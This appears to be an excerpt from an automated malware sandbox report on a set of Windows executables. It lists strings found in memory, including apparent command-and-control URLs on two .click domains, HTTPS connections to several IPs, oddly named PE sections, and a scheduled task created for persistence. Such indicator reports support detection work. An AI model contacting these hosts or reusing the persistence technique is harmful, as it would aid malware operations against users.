Source: 3a0398bc51.exe, 00000009.00000003.2556832243.00000000038EA000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2555018914.00000000038E7000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2674127732.00000000038EC000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671987375.00000000038EB000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2568544781.00000000038EC000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2556578070.00000000038E7000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590081999.00000000038EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apis
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/bu
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/buZ&
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: 3a0398bc51.exe, 00000009.00000002.2673033038.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590108066.00000000011B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000D.00000000.2681516044.00000000002C2000.00000002.00000001.01000000.0000000D.sdmp, 9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sci.libertyreserve.com/
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 9f58fa9406.exe, 0000000F.00000002.2774843579.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.000000000412D000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 9f58fa9406.exe, 0000000F.00000002.2774843579.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.000000000412D000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: 3a0398bc51.exe, 00000009.00000003.2475814548.0000000003985000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569342283.0000000005B05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: d6bf37692b.exe, 0000000A.00000003.2619426597.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: d6bf37692b.exe, 0000000A.00000003.2619426597.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 3a0398bc51.exe, 00000009.00000003.2503295300.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475814548.0000000003983000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2503110387.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2501956717.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2476182622.0000000003937000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2594179425.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569342283.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569445556.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 3a0398bc51.exe, 00000009.00000003.2476182622.0000000003912000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569445556.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 3a0398bc51.exe, 00000009.00000003.2503295300.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475814548.0000000003983000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2503110387.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2501956717.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2476182622.0000000003937000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2594179425.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569342283.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569445556.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 3a0398bc51.exe, 00000009.00000003.2476182622.0000000003912000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569445556.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642484247.0000000005A62000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2616197005.0000000005A62000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2616322804.0000000005A67000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2616925149.0000000005A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: d6bf37692b.exe, 0000000A.00000003.2746444038.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/-/j$
Source: d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/=
Source: d6bf37692b.exe, 0000000A.00000003.2746444038.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2685031950.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/Y
Source: d6bf37692b.exe, 0000000A.00000003.2546768265.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642933742.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745631371.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: d6bf37692b.exe, 0000000A.00000003.2679252026.0000000000C75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiK
Source: d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apibu
Source: d6bf37692b.exe, 0000000A.00000003.2642630902.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642769929.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642933742.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apier
Source: d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2653390499.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645517744.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646316866.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2647801148.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645021468.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644118653.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2647494216.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654078448.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645163807.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649637300.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646714047.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645896540.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649385225.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2643413091.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644331718.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644878844.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2653857151.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apijh
Source: d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2653390499.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645517744.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646316866.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2647801148.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645021468.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644118653.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2647494216.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654078448.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645163807.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649637300.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646714047.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645896540.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649385225.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2643413091.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644331718.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644878844.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2653857151.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiob
Source: d6bf37692b.exe, 0000000A.00000003.2616010208.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiy
Source: d6bf37692b.exe, 0000000A.00000003.2642203884.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api~
Source: d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/e
Source: d6bf37692b.exe, 0000000A.00000003.2594365012.0000000005A66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/h
Source: d6bf37692b.exe, 0000000A.00000003.2546507460.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2546768265.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/p
Source: d6bf37692b.exe, 0000000A.00000003.2746444038.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000002.2747796268.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/u
Source: d6bf37692b.exe, 0000000A.00000003.2546507460.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/w
Source: d6bf37692b.exe, 0000000A.00000003.2645724810.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2648503744.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649152769.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644118653.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644521157.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649385225.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2644741666.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2647012216.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2653857151.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2643247676.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646549453.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2647494216.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2643413091.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2648816589.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649637300.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646146323.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2645163807.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642630902.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2649845182.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2646870531.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2642769929.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: d6bf37692b.exe, 0000000A.00000003.2546507460.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/apiin64;
Source: 3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: d6bf37692b.exe, 0000000A.00000003.2619426597.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: d6bf37692b.exe, 0000000A.00000003.2619426597.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 3a0398bc51.exe, 00000009.00000003.2532018249.0000000003A0D000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2619426597.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: d6bf37692b.exe, 0000000A.00000003.2619426597.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 3a0398bc51.exe, 00000009.00000003.2532018249.0000000003A0D000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2619426597.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844

Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.77.249.79:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49949 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 66405b473b.exe.6.dr	Static PE information: section name:
Source: 66405b473b.exe.6.dr	Static PE information: section name: .idata
Source: 66405b473b.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: d6bf37692b.exe.6.dr	Static PE information: section name:
Source: d6bf37692b.exe.6.dr	Static PE information: section name: .idata
Source: d6bf37692b.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 7ba71287b7.exe.6.dr	Static PE information: section name:
Source: 7ba71287b7.exe.6.dr	Static PE information: section name: .idata
Source: 7ba71287b7.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0019CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0019CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE78BB	0_2_00EE78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE8860	0_2_00EE8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE7049	0_2_00EE7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE31A8	0_2_00EE31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA4B30	0_2_00EA4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA4DE0	0_2_00EA4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE2D10	0_2_00EE2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE779B	0_2_00EE779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED7F36	0_2_00ED7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001C7049	1_2_001C7049
